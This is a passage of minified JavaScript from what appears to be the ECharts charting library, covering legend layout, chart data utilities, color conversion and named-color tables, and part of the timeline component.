u=0;t>u;u++)""!==this._getName(e[u])?p+a+i>d?(s+=c+i,p-=i,l=Math.max(l,p),p=0):(p+=a+i,l=Math.max(l,p-i)):(s+=c+i,p-=i,l=Math.max(l,p),p=0)}U=this.zr.getWidth(),d=this.zr.getHeight();var g;switch(this.legendOption.x){case"center":g=Math.floor((U-s)/2);break;case"left":g=V[3]+this.legendOption.borderWidth;break;case"right":g=U-s-V[1]-V[3]-2*this.legendOption.borderWidth;break;default:g=this.parsePercent(this.legendOption.x,U)}var b;switch(this.legendOption.y){case"top":b=V[0]+this.legendOption.borderWidth;break;case"bottom":b=d-l-V[0]-V[2]-2*this.legendOption.borderWidth;break;case"center":b=Math.floor((d-l)/2);break;default:b=this.parsePercent(this.legendOption.y,d)}return{x:g,y:b,width:s,height:l,maxWidth:c}},_getSomethingByName:function(e){for(var t,i=this.option.series,n=0,a=i.length;a>n;n++){if(i[n].name===e)return{type:i[n].type,series:i[n],seriesIndex:n,data:null,dataIndex:-1};if(i[n].type===l.CHART_TYPE_PIE||i[n].type===l.CHART_TYPE_RADAR||i[n].type===l.CHART_TYPE_CHORD||i[n].type===l.CHART_TYPE_FORCE||i[n].type===l.CHART_TYPE_FUNNEL||i[n].type===l.CHART_TYPE_TREEMAP){t=i[n].categories||i[n].data||i[n].nodes;for(var o=0,r=t.length;r>o;o++)if(t[o].name===e)return{type:i[n].type,series:i[n],seriesIndex:n,data:t[o],dataIndex:o}}}return{type:"bar",series:null,seriesIndex:-1,data:null,dataIndex:-1}},_getItemShapeByType:function(e,t,i,n,a,o,r){var s,h="#ccc"===a?r:a,m={zlevel:this.getZlevelBase(),z:this.getZBase(),style:{iconType:"legendicon"+o,x:e,y:t,width:i,height:n,color:a,strokeColor:a,lineWidth:2},highlightStyle:{color:h,strokeColor:h,lineWidth:1},hoverable:this.legendOption.selectedMode,clickable:this.legendOption.selectedMode};if(o.match("image")){var s=o.replace(new RegExp("^image:\\/\\/"),"");o="image"}switch(o){case"line":m.style.brushType="stroke",m.highlightStyle.lineWidth=3;break;case"radar":case"venn":case"tree":case"treemap":case"scatter":m.highlightStyle.lineWidth=3;break;case"k":m.style.brushType="both",m.highlightStyle.lineWidth=3,m.highlightStyle.color=m.style.color=this.deepQuery([this.ecTheme,l],"k.itemStyle.normal.color")||"#fff",m.style.strokeColor="#ccc"!=a?this.deepQuery([this.ecTheme,l],"k.itemStyle.normal.lineStyle.color")||"#ff3200":a;break;case"image":m.style.iconType="image",m.style.image=s,"#ccc"===a&&(m.style.opacity=.5)}return m},__legendSelected:function(e){var t=e.target._name;if("single"===this.legendOption.selectedMode)for(var i in this._selectedMap)this._selectedMap[i]=!1;this._selectedMap[t]=!this._selectedMap[t],this.messageCenter.dispatch(l.EVENT.LEGEND_SELECTED,e.event,{selected:this._selectedMap,target:t},this.myChart)},__dispatchHoverLink:function(e){this.messageCenter.dispatch(l.EVENT.LEGEND_HOVERLINK,e.event,{target:e.target._name},this.myChart)},refresh:function(e){if(e){this.option=e||this.option,this.option.legend=this.reformOption(this.option.legend),this.legendOption=this.option.legend;var t,i,n,a,o=this.legendOption.data||[];if(this.legendOption.selected)for(var r in this.legendOption.selected)this._selectedMap[r]="undefined"!=typeof this._selectedMap[r]?this._selectedMap[r]:this.legendOption.selected[r];for(var s=0,h=o.length;h>s;s++)t=this._getName(o[s]),""!==t&&(i=this._getSomethingByName(t),i.series?(this._hasDataMap[t]=!0,a=!i.data||i.type!==l.CHART_TYPE_PIE&&i.type!==l.CHART_TYPE_FORCE&&i.type!==l.CHART_TYPE_FUNNEL?[i.series]:[i.data,i.series],n=this.getItemStyleColor(this.deepQuery(a,"itemStyle.normal.color"),i.seriesIndex,i.dataIndex,i.data),n&&i.type!=l.CHART_TYPE_K&&this.setColor(t,n),this._selectedMap[t]=null!=this._selectedMap[t]?this._selectedMap[t]:!0):this._hasDataMap[t]=!1)}this.clear(),this._buildShape()},getRelatedAmount:function(e){for(var t,i=0,n=this.option.series,a=0,o=n.length;o>a;a++)if(n[a].name===e&&i++,n[a].type===l.CHART_TYPE_PIE||n[a].type===l.CHART_TYPE_RADAR||n[a].type===l.CHART_TYPE_CHORD||n[a].type===l.CHART_TYPE_FORCE||n[a].type===l.CHART_TYPE_FUNNEL){t=n[a].type!=l.CHART_TYPE_FORCE?n[a].data:n[a].categories;for(var r=0,s=t.length;s>r;r++)t[r].name===e&&"-"!=t[r].value&&i++}return i},setColor:function(e,t){this._colorMap[e]=t},getColor:function(e){return this._colorMap[e]||(this._colorMap[e]=this.zr.getColor(this._colorIndex++)),this._colorMap[e]},hasColor:function(e){return this._colorMap[e]?this._colorMap[e]:!1},add:function(e,t){ +for(var i=this.legendOption.data,n=0,a=i.length;a>n;n++)if(this._getName(i[n])===e)return;this.legendOption.data.push(e),this.setColor(e,t),this._selectedMap[e]=!0,this._hasDataMap[e]=!0},del:function(e){for(var t=this.legendOption.data,i=0,n=t.length;n>i;i++)if(this._getName(t[i])===e)return this.legendOption.data.splice(i,1)},getItemShape:function(e){if(null!=e)for(var t,i=0,n=this.shapeList.length;n>i;i++)if(t=this.shapeList[i],t._name===e&&"text"!=t.type)return t},setItemShape:function(e,t){for(var i,n=0,a=this.shapeList.length;a>n;n++)i=this.shapeList[n],i._name===e&&"text"!=i.type&&(this._selectedMap[e]||(t.style.color="#ccc",t.style.strokeColor="#ccc"),this.zr.modShape(i.id,t))},isSelected:function(e){return"undefined"!=typeof this._selectedMap[e]?this._selectedMap[e]:!0},getSelectedMap:function(){return this._selectedMap},setSelected:function(e,t){if("single"===this.legendOption.selectedMode)for(var i in this._selectedMap)this._selectedMap[i]=!1;this._selectedMap[e]=t,this.messageCenter.dispatch(l.EVENT.LEGEND_SELECTED,null,{selected:this._selectedMap,target:e},this.myChart)},onlegendSelected:function(e,t){var i=e.selected;for(var n in i)this._selectedMap[n]!=i[n]&&(t.needRefresh=!0),this._selectedMap[n]=i[n]}};var V={line:function(e,t){var i=t.height/2;e.moveTo(t.x,t.y+i),e.lineTo(t.x+t.width,t.y+i)},pie:function(e,t){var i=t.x,n=t.y,a=t.width,r=t.height;o.prototype.buildPath(e,{x:i+a/2,y:n+r+2,r:r,r0:6,startAngle:45,endAngle:135})},eventRiver:function(e,t){var i=t.x,n=t.y,a=t.width,o=t.height;e.moveTo(i,n+o),e.bezierCurveTo(i+a,n+o,i,n+4,i+a,n+4),e.lineTo(i+a,n),e.bezierCurveTo(i,n,i+a,n+o-4,i,n+o-4),e.lineTo(i,n+o)},k:function(e,t){var i=t.x,n=t.y,a=t.width,o=t.height;s.prototype.buildPath(e,{x:i+a/2,y:[n+1,n+1,n+o-6,n+o],width:a-6})},bar:function(e,t){var i=t.x,n=t.y+1,a=t.width,o=t.height-2,r=3;e.moveTo(i+r,n),e.lineTo(i+a-r,n),e.quadraticCurveTo(i+a,n,i+a,n+r),e.lineTo(i+a,n+o-r),e.quadraticCurveTo(i+a,n+o,i+a-r,n+o),e.lineTo(i+r,n+o),e.quadraticCurveTo(i,n+o,i,n+o-r),e.lineTo(i,n+r),e.quadraticCurveTo(i,n,i+r,n)},force:function(e,t){r.prototype.iconLibrary.circle(e,t)},radar:function(e,t){var i=6,n=t.x+t.width/2,a=t.y+t.height/2,o=t.height/2,r=2*Math.PI/i,s=-Math.PI/2,l=n+o*Math.cos(s),h=a+o*Math.sin(s);e.moveTo(l,h),s+=r;for(var m=0,V=i-1;V>m;m++)e.lineTo(n+o*Math.cos(s),a+o*Math.sin(s)),s+=r;e.lineTo(l,h)}};V.chord=V.pie,V.map=V.bar;for(var U in V)r.prototype.iconLibrary["legendicon"+U]=V[U];return h.inherits(t,i),e("../component").define("legend",t),t}),i("echarts/util/ecData",[],function(){function e(e,t,i,n,a,o,r,s){var l;return"undefined"!=typeof n&&(l=null==n.value?n:n.value),e._echartsData={_series:t,_seriesIndex:i,_data:n,_dataIndex:a,_name:o,_value:l,_special:r,_special2:s},e._echartsData}function t(e,t){var i=e._echartsData;if(!t)return i;switch(t){case"series":case"seriesIndex":case"data":case"dataIndex":case"name":case"value":case"special":case"special2":return i&&i["_"+t]}return null}function i(e,t,i){switch(e._echartsData=e._echartsData||{},t){case"series":case"seriesIndex":case"data":case"dataIndex":case"name":case"value":case"special":case"special2":e._echartsData["_"+t]=i}}function n(e,t){t._echartsData={_series:e._echartsData._series,_seriesIndex:e._echartsData._seriesIndex,_data:e._echartsData._data,_dataIndex:e._echartsData._dataIndex,_name:e._echartsData._name,_value:e._echartsData._value,_special:e._echartsData._special,_special2:e._echartsData._special2}}return{pack:e,set:i,get:t,clone:n}}),i("echarts/chart",[],function(){var e={},t={};return e.define=function(i,n){return t[i]=n,e},e.get=function(e){return t[e]},e}),i("zrender/tool/color",["require","../tool/util"],function(e){function t(e){D=e}function i(){D=N}function n(e,t){return e=0|e,t=t||D,t[e%t.length]}function a(e){B=e}function o(){H=B}function r(){return B}function s(e,t,i,n,a,o,r){O||(O=P.getContext());for(var s=O.createRadialGradient(e,t,i,n,a,o),l=0,h=r.length;h>l;l++)s.addColorStop(r[l][0],r[l][1]);return s.__nonRecursion=!0,s}function l(e,t,i,n,a){O||(O=P.getContext());for(var o=O.createLinearGradient(e,t,i,n),r=0,s=a.length;s>r;r++)o.addColorStop(a[r][0],a[r][1]);return o.__nonRecursion=!0,o}function h(e,t,i){e=p(e),t=p(t),e=I(e),t=I(t);for(var n=[],a=(t[0]-e[0])/i,o=(t[1]-e[1])/i,r=(t[2]-e[2])/i,s=(t[3]-e[3])/i,l=0,h=e[0],m=e[1],U=e[2],d=e[3];i>l;l++)n[l]=V([S(Math.floor(h),[0,255]),S(Math.floor(m),[0,255]),S(Math.floor(U),[0,255]),d.toFixed(4)-0],"rgba"),h+=a,m+=o,U+=r,d+=s;return h=t[0],m=t[1],U=t[2],d=t[3],n[l]=V([h,m,U,d],"rgba"),n}function m(e,t){var i=[],n=e.length;if(void 0===t&&(t=20),1===n)i=h(e[0],e[0],t);else if(n>1)for(var a=0,o=n-1;o>a;a++){var r=h(e[a],e[a+1],t);o-1>a&&r.pop(),i=i.concat(r)}return i}function V(e,t){if(t=t||"rgb",e&&(3===e.length||4===e.length)){if(e=C(e,function(e){return e>1?Math.ceil(e):e}),t.indexOf("hex")>-1)return"#"+((1<<24)+(e[0]<<16)+(e[1]<<8)+ +e[2]).toString(16).slice(1);if(t.indexOf("hs")>-1){var i=C(e.slice(1,3),function(e){return e+"%"});e[1]=i[0],e[2]=i[1]}return t.indexOf("a")>-1?(3===e.length&&e.push(1),e[3]=S(e[3],[0,1]),t+"("+e.slice(0,4).join(",")+")"):t+"("+e.slice(0,3).join(",")+")"}}function U(e){e=L(e),e.indexOf("rgba")<0&&(e=p(e));var t=[],i=0;return e.replace(/[\d.]+/g,function(e){e=3>i?0|e:+e,t[i++]=e}),t}function d(e,t){if(!E(e))return e;var i=I(e),n=i[3];return"undefined"==typeof n&&(n=1),e.indexOf("hsb")>-1?i=F(i):e.indexOf("hsl")>-1&&(i=T(i)),t.indexOf("hsb")>-1||t.indexOf("hsv")>-1?i=A(i):t.indexOf("hsl")>-1&&(i=M(i)),i[3]=n,V(i,t)}function p(e){return d(e,"rgba")}function c(e){return d(e,"rgb")}function u(e){return d(e,"hex")}function y(e){return d(e,"hsva")}function g(e){return d(e,"hsv")}function b(e){return d(e,"hsba")}function f(e){return d(e,"hsb")}function k(e){return d(e,"hsla")}function x(e){return d(e,"hsl")}function _(e){for(var t in G)if(u(G[t])===u(e))return t;return null}function L(e){return String(e).replace(/\s+/g,"")}function W(e){if(G[e]&&(e=G[e]),e=L(e),e=e.replace(/hsv/i,"hsb"),/^#[\da-f]{3}$/i.test(e)){e=parseInt(e.slice(1),16);var t=(3840&e)<<8,i=(240&e)<<4,n=15&e;e="#"+((1<<24)+(t<<4)+t+(i<<4)+i+(n<<4)+n).toString(16).slice(1)}return e}function X(e,t){if(!E(e))return e;var i=t>0?1:-1;"undefined"==typeof t&&(t=0),t=Math.abs(t)>1?1:Math.abs(t),e=c(e);for(var n=I(e),a=0;3>a;a++)n[a]=1===i?n[a]*(1-t)|0:(255-n[a])*t+n[a]|0;return"rgb("+n.join(",")+")"}function v(e){if(!E(e))return e;var t=I(p(e));return t=C(t,function(e){return 255-e}),V(t,"rgb")}function w(e,t,i){if(!E(e)||!E(t))return e;"undefined"==typeof i&&(i=.5),i=1-S(i,[0,1]);for(var n=2*i-1,a=I(p(e)),o=I(p(t)),r=a[3]-o[3],s=((n*r===-1?n:(n+r)/(1+n*r))+1)/2,l=1-s,h=[],m=0;3>m;m++)h[m]=a[m]*s+o[m]*l;var U=a[3]*i+o[3]*(1-i);return U=Math.max(0,Math.min(1,U)),1===a[3]&&1===o[3]?V(h,"rgb"):(h[3]=U,V(h,"rgba"))}function K(){return"#"+(Math.random().toString(16)+"0000").slice(2,8)}function I(e){e=W(e);var t=e.match(R);if(null===t)throw new Error("The color format error");var i,n,a,o=[];if(t[2])i=t[2].replace("#","").split(""),a=[i[0]+i[1],i[2]+i[3],i[4]+i[5]],o=C(a,function(e){return S(parseInt(e,16),[0,255])});else if(t[4]){var r=t[4].split(",");n=r[3],a=r.slice(0,3),o=C(a,function(e){return e=Math.floor(e.indexOf("%")>0?2.55*parseInt(e,0):e),S(e,[0,255])}),"undefined"!=typeof n&&o.push(S(parseFloat(n),[0,1]))}else if(t[5]||t[6]){var s=(t[5]||t[6]).split(","),l=parseInt(s[0],0)/360,h=s[1],m=s[2];n=s[3],o=C([h,m],function(e){return S(parseFloat(e)/100,[0,1])}),o.unshift(l),"undefined"!=typeof n&&o.push(S(parseFloat(n),[0,1]))}return o}function J(e,t){if(!E(e))return e;null===t&&(t=1);var i=I(p(e));return i[3]=S(Number(t).toFixed(4),[0,1]),V(i,"rgba")}function C(e,t){if("function"!=typeof t)throw new TypeError;for(var i=e?e.length:0,n=0;i>n;n++)e[n]=t(e[n]);return e}function S(e,t){return e<=t[0]?e=t[0]:e>=t[1]&&(e=t[1]),e}function E(e){return e instanceof Array||"string"==typeof e}function F(e){var t,i,n,a=e[0],o=e[1],r=e[2];if(0===o)t=255*r,i=255*r,n=255*r;else{var s=6*a;6===s&&(s=0);var l=0|s,h=r*(1-o),m=r*(1-o*(s-l)),V=r*(1-o*(1-(s-l))),U=0,d=0,p=0;0===l?(U=r,d=V,p=h):1===l?(U=m,d=r,p=h):2===l?(U=h,d=r,p=V):3===l?(U=h,d=m,p=r):4===l?(U=V,d=h,p=r):(U=r,d=h,p=m),t=255*U,i=255*d,n=255*p}return[t,i,n]}function T(e){var t,i,n,a=e[0],o=e[1],r=e[2];if(0===o)t=255*r,i=255*r,n=255*r;else{var s;s=.5>r?r*(1+o):r+o-o*r;var l=2*r-s;t=255*z(l,s,a+1/3),i=255*z(l,s,a),n=255*z(l,s,a-1/3)}return[t,i,n]}function z(e,t,i){return 0>i&&(i+=1),i>1&&(i-=1),1>6*i?e+6*(t-e)*i:1>2*i?t:2>3*i?e+(t-e)*(2/3-i)*6:e}function A(e){var t,i,n=e[0]/255,a=e[1]/255,o=e[2]/255,r=Math.min(n,a,o),s=Math.max(n,a,o),l=s-r,h=s;if(0===l)t=0,i=0;else{i=l/s;var m=((s-n)/6+l/2)/l,V=((s-a)/6+l/2)/l,U=((s-o)/6+l/2)/l;n===s?t=U-V:a===s?t=1/3+m-U:o===s&&(t=2/3+V-m),0>t&&(t+=1),t>1&&(t-=1)}return t=360*t,i=100*i,h=100*h,[t,i,h]}function M(e){var t,i,n=e[0]/255,a=e[1]/255,o=e[2]/255,r=Math.min(n,a,o),s=Math.max(n,a,o),l=s-r,h=(s+r)/2;if(0===l)t=0,i=0;else{i=.5>h?l/(s+r):l/(2-s-r);var m=((s-n)/6+l/2)/l,V=((s-a)/6+l/2)/l,U=((s-o)/6+l/2)/l;n===s?t=U-V:a===s?t=1/3+m-U:o===s&&(t=2/3+V-m),0>t&&(t+=1),t>1&&(t-=1)}return t=360*t,i=100*i,h=100*h,[t,i,h]}var O,P=e("../tool/util"),D=["#ff9277"," #dddd00"," #ffc877"," #bbe3ff"," #d5ffbb","#bbbbff"," #ddb000"," #b0dd00"," #e2bbff"," #ffbbe3","#ff7777"," #ff9900"," #83dd00"," #77e3ff"," #778fff","#c877ff"," #ff77ab"," #ff6600"," #aa8800"," #77c7ff","#ad77ff"," #ff77ff"," #dd0083"," #777700"," #00aa00","#0088aa"," #8400dd"," #aa0088"," #dd0000"," #772e00"],N=D,B="rgba(255,255,0,0.5)",H=B,R=/^\s*((#[a-f\d]{6})|(#[a-f\d]{3})|rgba?\(\s*([\d\.]+%?\s*,\s*[\d\.]+%?\s*,\s*[\d\.]+%?(?:\s*,\s*[\d\.]+%?)?)\s*\)|hsba?\(\s*([\d\.]+(?:deg|\xb0|%)?\s*,\s*[\d\.]+%?\s*,\s*[\d\.]+%?(?:\s*,\s*[\d\.]+)?)%?\s*\)|hsla?\(\s*([\d\.]+(?:deg|\xb0|%)?\s*,\s*[\d\.]+%?\s*,\s*[\d\.]+%?(?:\s*,\s*[\d\.]+)?)%?\s*\))\s*$/i,G={aliceblue:"#f0f8ff",antiquewhite:"#faebd7",aqua:"#0ff",aquamarine:"#7fffd4",azure:"#f0ffff",beige:"#f5f5dc",bisque:"#ffe4c4",black:"#000",blanchedalmond:"#ffebcd",blue:"#00f",blueviolet:"#8a2be2",brown:"#a52a2a",burlywood:"#deb887",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",cornflowerblue:"#6495ed",cornsilk:"#fff8dc",crimson:"#dc143c",cyan:"#0ff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkgray:"#a9a9a9",darkgrey:"#a9a9a9",darkgreen:"#006400",darkkhaki:"#bdb76b",darkmagenta:"#8b008b",darkolivegreen:"#556b2f",darkorange:"#ff8c00",darkorchid:"#9932cc",darkred:"#8b0000",darksalmon:"#e9967a",darkseagreen:"#8fbc8f",darkslateblue:"#483d8b",darkslategray:"#2f4f4f",darkslategrey:"#2f4f4f",darkturquoise:"#00ced1",darkviolet:"#9400d3",deeppink:"#ff1493",deepskyblue:"#00bfff",dimgray:"#696969",dimgrey:"#696969",dodgerblue:"#1e90ff",firebrick:"#b22222",floralwhite:"#fffaf0",forestgreen:"#228b22",fuchsia:"#f0f",gainsboro:"#dcdcdc",ghostwhite:"#f8f8ff",gold:"#ffd700",goldenrod:"#daa520",gray:"#808080",grey:"#808080",green:"#008000",greenyellow:"#adff2f",honeydew:"#f0fff0",hotpink:"#ff69b4",indianred:"#cd5c5c",indigo:"#4b0082",ivory:"#fffff0",khaki:"#f0e68c",lavender:"#e6e6fa",lavenderblush:"#fff0f5",lawngreen:"#7cfc00",lemonchiffon:"#fffacd",lightblue:"#add8e6",lightcoral:"#f08080",lightcyan:"#e0ffff",lightgoldenrodyellow:"#fafad2",lightgray:"#d3d3d3",lightgrey:"#d3d3d3",lightgreen:"#90ee90",lightpink:"#ffb6c1",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",lightskyblue:"#87cefa",lightslategray:"#789",lightslategrey:"#789",lightsteelblue:"#b0c4de",lightyellow:"#ffffe0",lime:"#0f0",limegreen:"#32cd32",linen:"#faf0e6",magenta:"#f0f",maroon:"#800000",mediumaquamarine:"#66cdaa",mediumblue:"#0000cd",mediumorchid:"#ba55d3",mediumpurple:"#9370d8",mediumseagreen:"#3cb371",mediumslateblue:"#7b68ee",mediumspringgreen:"#00fa9a",mediumturquoise:"#48d1cc",mediumvioletred:"#c71585",midnightblue:"#191970",mintcream:"#f5fffa",mistyrose:"#ffe4e1",moccasin:"#ffe4b5",navajowhite:"#ffdead",navy:"#000080",oldlace:"#fdf5e6",olive:"#808000",olivedrab:"#6b8e23",orange:"#ffa500",orangered:"#ff4500",orchid:"#da70d6",palegoldenrod:"#eee8aa",palegreen:"#98fb98",paleturquoise:"#afeeee",palevioletred:"#d87093",papayawhip:"#ffefd5",peachpuff:"#ffdab9",peru:"#cd853f",pink:"#ffc0cb",plum:"#dda0dd",powderblue:"#b0e0e6",purple:"#800080",red:"#f00",rosybrown:"#bc8f8f",royalblue:"#4169e1",saddlebrown:"#8b4513",salmon:"#fa8072",sandybrown:"#f4a460",seagreen:"#2e8b57",seashell:"#fff5ee",sienna:"#a0522d",silver:"#c0c0c0",skyblue:"#87ceeb",slateblue:"#6a5acd",slategray:"#708090",slategrey:"#708090",snow:"#fffafa",springgreen:"#00ff7f",steelblue:"#4682b4",tan:"#d2b48c",teal:"#008080",thistle:"#d8bfd8",tomato:"#ff6347",turquoise:"#40e0d0",violet:"#ee82ee",wheat:"#f5deb3",white:"#fff",whitesmoke:"#f5f5f5",yellow:"#ff0",yellowgreen:"#9acd32"};return{customPalette:t,resetPalette:i,getColor:n,getHighlightColor:r,customHighlight:a,resetHighlight:o,getRadialGradient:s,getLinearGradient:l,getGradientColors:m,getStepColors:h,reverse:v,mix:w,lift:X,trim:L,random:K,toRGB:c,toRGBA:p,toHex:u,toHSL:x,toHSLA:k,toHSB:f,toHSBA:b,toHSV:g,toHSVA:y,toName:_,toColor:V,toArray:U,alpha:J,getData:I}}),i("echarts/component/timeline",["require","./base","zrender/shape/Rectangle","../util/shape/Icon","../util/shape/Chain","../config","zrender/tool/util","zrender/tool/area","zrender/tool/event","../component"],function(e){function t(e,t,i,a,o){n.call(this,e,t,i,a,o);var r=this;if(r._onclick=function(e){return r.__onclick(e)},r._ondrift=function(e,t){return r.__ondrift(this,e,t)},r._ondragend=function(){return r.__ondragend()},r._setCurrentOption=function(){var e=r.timelineOption;r.currentIndex%=e.data.length;var t=r.options[r.currentIndex]||{};r.myChart._setOption(t,e.notMerge,!0),r.messageCenter.dispatch(s.EVENT.TIMELINE_CHANGED,null,{currentIndex:r.currentIndex,data:null!=e.data[r.currentIndex].name?e.data[r.currentIndex].name:e.data[r.currentIndex]},r.myChart)},r._onFrame=function(){r._setCurrentOption(),r._syncHandleShape(),r.timelineOption.autoPlay&&(r.playTicket=setTimeout(function(){return r.currentIndex+=1,!r.timelineOption.loop&&r.currentIndex>=r.timelineOption.data.length?(r.currentIndex=r.timelineOption.data.length-1,void r.stop()):void r._onFrame()},r.timelineOption.playInterval))},this.setTheme(!1),this.options=this.option.options,this.currentIndex=this.timelineOption.currentIndex%this.timelineOption.data.length,this.timelineOption.notMerge||0===this.currentIndex||(this.options[this.currentIndex]=l.merge(this.options[this.currentIndex],this.options[0])),this.timelineOption.show&&(this._buildShape(),this._syncHandleShape()),this._setCurrentOption(),this.timelineOption.autoPlay){var r=this;this.playTicket=setTimeout(function(){r.play()},null!=this.ecTheme.animationDuration?this.ecTheme.animationDuration:s.animationDuration)}}function i(e,t){var i=2,n=t.x+i,a=t.y+i+2,r=t.width-i,s=t.height-i,l=t.symbol;if("last"===l)e.moveTo(n+r-2,a+s/3),e.lineTo(n+r-2,a),e.lineTo(n+2,a+s/2),e.lineTo(n+r-2,a+s),e.lineTo(n+r-2,a+s/3*2),e.moveTo(n,a),e.lineTo(n,a);else if("next"===l)e.moveTo(n+2,a+s/3),e.lineTo(n+2,a),e.lineTo(n+r-2,a+s/2),e.lineTo(n+2,a+s),e.lineTo(n+2,a+s/3*2),e.moveTo(n,a),e.lineTo(n,a);else if("play"===l)if("stop"===t.status)e.moveTo(n+2,a),e.lineTo(n+r-2,a+s/2),e.lineTo(n+2,a+s),e.lineTo(n+2,a);else{var h="both"===t.brushType?2:3;e.rect(n+2,a,h,s),e.rect(n+r-h-2,a,h,s)}else if(l.match("image")){var m="";m=l.replace(new RegExp("^image:\\/\\/"),""),l=o.prototype.iconLibrary.image,l(e,{x:n,y:a,width:r,height:s,image:m})}}var n=e("./base"),a=e("zrender/shape/Rectangle"),o=e("../util/shape/Icon"),r=e("../util/shape/Chain"),s=e("../config");s.timeline={zlevel:0,z:4,show:!0,type:"time",notMerge:!1,realtime:!0,x:80,x2:80,y2:0,height:50,backgroundColor:"rgba(0,0,0,0)",borderColor:"#ccc",borderWidth:0,padding:5,controlPosition:"left",autoPlay:!1,loop:!0,playInterval:2e3,lineStyle:{width:1,color:"#666",type:"dashed"},label:{show:!0,interval:"auto",rotate:0,textStyle:{color:"#333"}},checkpointStyle:{symbol:"auto",symbolSize:"auto",color:"auto",borderColor:"auto",borderWidth:"auto",label:{show:!1,textStyle:{color:"auto"}}},controlStyle:{itemSize:15,itemGap:5,normal:{color:"#333"},emphasis:{color:"#1e90ff"}},symbol:"emptyDiamond",symbolSize:4,currentIndex:0};var l=e("zrender/tool/util"),h=e("zrender/tool/area"),m=e("zrender/tool/event");return t.prototype={type:s.COMPONENT_TYPE_TIMELINE,_buildShape:function(){if(this._location=this._getLocation(),this._buildBackground(),this._buildControl(),this._chainPoint=this._getChainPoint(),this.timelineOption.label.show)for(var e=this._getInterval(),t=0,i=this._chainPoint.length;i>t;t+=e)this._chainPoint[t].showLabel=!0;this._buildChain(),this._buildHandle();for(var t=0,n=this.shapeList.length;n>t;t++)this.zr.addShape(this.shapeList[t])},_getLocation:function(){var e,t=this.timelineOption,i=this.reformCssArray(this.timelineOption.padding),n=this.zr.getWidth(),a=this.parsePercent(t.x,n),o=this.parsePercent(t.x2,n);null==t.width?(e=n-a-o,o=n-o):(e=this.parsePercent(t.width,n),o=a+e);var r,s,l=this.zr.getHeight(),h=this.parsePercent(t.height,l);return null!=t.y?(r=this.parsePercent(t.y,l),s=r+h):(s=l-this.parsePercent(t.y2,l),r=s-h),{x:a+i[3],y:r+i[0],x2:o-i[1],y2:s-i[2],width:e-i[1]-i[3],height:h-i[0]-i[2]}},_getReformedLabel:function(e){var t=this.timelineOption,i=null!=t.data[e].name?t.data[e].name:t.data[e],n=t.data[e].formatter||t.label.formatter;return n&&("function"==typeof n?i=n.call(this.myChart,i):"string"==typeof n&&(i=n.replace("{value}",i))),i},_getInterval:function(){var e=this._chainPoint,t=this.timelineOption,i=t.label.interval;if("auto"===i){var n=t.label.textStyle.fontSize,a=t.data,o=t.data.length;if(o>3){var r,s,l=!1;for(i=0;!l&&o>i;){i++,l=!0;for(var m=i;o>m;m+=i){if(r=e[m].x-e[m-i].x,0!==t.label.rotate)s=n;else if(a[m].textStyle)s=h.getTextWidth(e[m].name,e[m].textFont);else{var V=e[m].name+"",U=(V.match(/\w/g)||"").length,d=V.length-U;s=U*n*2/3+d*n}if(s>r){l=!1;break}}}}else i=1}else i=i-0+1;return i},_getChainPoint:function(){function e(e){return null!=h[e].name?h[e].name:h[e]+""}var t,i=this.timelineOption,n=i.symbol.toLowerCase(),a=i.symbolSize,o=i.label.rotate,r=i.label.textStyle,s=this.getFont(r),h=i.data,m=this._location.x,V=this._location.y+this._location.height/4*3,U=this._location.x2-this._location.x,d=h.length,p=[];if(d>1){var c=U/d;if(c=c>50?50:20>c?5:c,U-=2*c,"number"===i.type)for(var u=0;d>u;u++)p.push(m+c+U/(d-1)*u);else{p[0]=new Date(e(0).replace(/-/g,"/")),p[d-1]=new Date(e(d-1).replace(/-/g,"/"))-p[0];for(var u=1;d>u;u++)p[u]=m+c+U*(new Date(e(u).replace(/-/g,"/"))-p[0])/p[d-1];p[0]=m+c}}else p.push(m+U/2);for(var y,g,b,f,k,x=[],u=0;d>u;u++)m=p[u],y=h[u].symbol&&h[u].symbol.toLowerCase()||n,y.match("empty")?(y=y.replace("empty",""),b=!0):b=!1,y.match("star")&&(g=y.replace("star","")-0||5,y="star"),t=h[u].textStyle?l.merge(h[u].textStyle||{},r):r,f=t.align||"center",o?(f=o>0?"right":"left",k=[o*Math.PI/180,m,V-5]):k=!1,x.push({x:m,n:g,isEmpty:b,symbol:y,symbolSize:h[u].symbolSize||a,color:h[u].color,borderColor:h[u].borderColor,borderWidth:h[u].borderWidth,name:this._getReformedLabel(u),textColor:t.color,textAlign:f,textBaseline:t.baseline||"middle",textX:m,textY:V-(o?5:0),textFont:h[u].textStyle?this.getFont(t):s,rotation:k,showLabel:!1});return x},_buildBackground:function(){var e=this.timelineOption,t=this.reformCssArray(this.timelineOption.padding),i=this._location.width,n=this._location.height;(0!==e.borderWidth||"rgba(0,0,0,0)"!=e.backgroundColor.replace(/\s/g,""))&&this.shapeList.push(new a({zlevel:this.getZlevelBase(),z:this.getZBase(),hoverable:!1,style:{x:this._location.x-t[3],y:this._location.y-t[0],width:i+t[1]+t[3],height:n+t[0]+t[2],brushType:0===e.borderWidth?"fill":"both",color:e.backgroundColor,strokeColor:e.borderColor,lineWidth:e.borderWidth}}))},_buildControl:function(){var e=this,t=this.timelineOption,i=t.lineStyle,n=t.controlStyle;if("none"!==t.controlPosition){var a,r=n.itemSize,s=n.itemGap;"left"===t.controlPosition?(a=this._location.x,this._location.x+=3*(r+s)):(a=this._location.x2-(3*(r+s)-s),this._location.x2-=3*(r+s));var h=this._location.y,m={zlevel:this.getZlevelBase(),z:this.getZBase()+1,style:{iconType:"timelineControl",symbol:"last",x:a,y:h,width:r,height:r,brushType:"stroke",color:n.normal.color,strokeColor:n.normal.color,lineWidth:i.width},highlightStyle:{color:n.emphasis.color,strokeColor:n.emphasis.color,lineWidth:i.width+1},clickable:!0};this._ctrLastShape=new o(m),this._ctrLastShape.onclick=function(){e.last()},this.shapeList.push(this._ctrLastShape),a+=r+s,this._ctrPlayShape=new o(l.clone(m)),this._ctrPlayShape.style.brushType="fill",this._ctrPlayShape.style.symbol="play",this._ctrPlayShape.style.status=this.timelineOption.autoPlay?"playing":"stop",this._ctrPlayShape.style.x=a,this._ctrPlayShape.onclick=function(){"stop"===e._ctrPlayShape.style.status?e.play():e.stop()},this.shapeList.push(this._ctrPlayShape),a+=r+s,this._ctrNextShape=new 